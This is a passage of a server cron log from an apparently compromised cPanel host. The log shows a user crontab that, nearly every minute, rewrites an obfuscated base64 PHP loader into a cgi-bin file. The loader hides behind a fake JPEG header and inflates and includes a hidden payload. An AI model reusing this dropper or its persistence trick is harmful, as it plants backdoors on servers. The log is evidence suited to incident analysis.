LcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:10:01 server CROND[21362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:10:01 server CROND[21363]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:10:01 server CROND[21364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:11:01 server CROND[22259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:11:01 server CROND[22260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:11:01 server CROND[22261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:12:01 server CROND[22627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:12:01 server CROND[22629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:12:01 server CROND[22628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:12:01 server CROND[22630]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 13:13:01 server CROND[23162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:13:01 server CROND[23163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:13:01 server CROND[23164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:14:01 server CROND[23531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:14:01 server CROND[23532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:14:01 server CROND[23533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:15:01 server CROND[23965]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:15:01 server CROND[23966]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:15:01 server CROND[23970]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:15:01 server CROND[23975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:15:01 server CROND[23972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:15:01 server CROND[23974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:15:01 server CROND[23971]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 13:15:01 server CROND[23973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:16:01 server CROND[24895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:16:01 server CROND[24896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:16:01 server CROND[24897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:17:01 server CROND[25310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:17:01 server CROND[25309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:17:01 server CROND[25311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:18:01 server CROND[25692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:18:01 server CROND[25691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:18:01 server CROND[25693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:19:01 server CROND[26063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:19:01 server CROND[26064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:19:01 server CROND[26065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:20:01 server CROND[26453]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:20:01 server CROND[26455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:20:01 server CROND[26458]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:20:01 server CROND[26459]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 13:20:01 server CROND[26464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:20:01 server CROND[26462]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:20:01 server CROND[26463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:20:01 server CROND[26466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:20:01 server CROND[26461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:21:01 server CROND[27393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:21:01 server CROND[27394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:21:01 server CROND[27395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:22:01 server CROND[27761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:22:01 server CROND[27760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
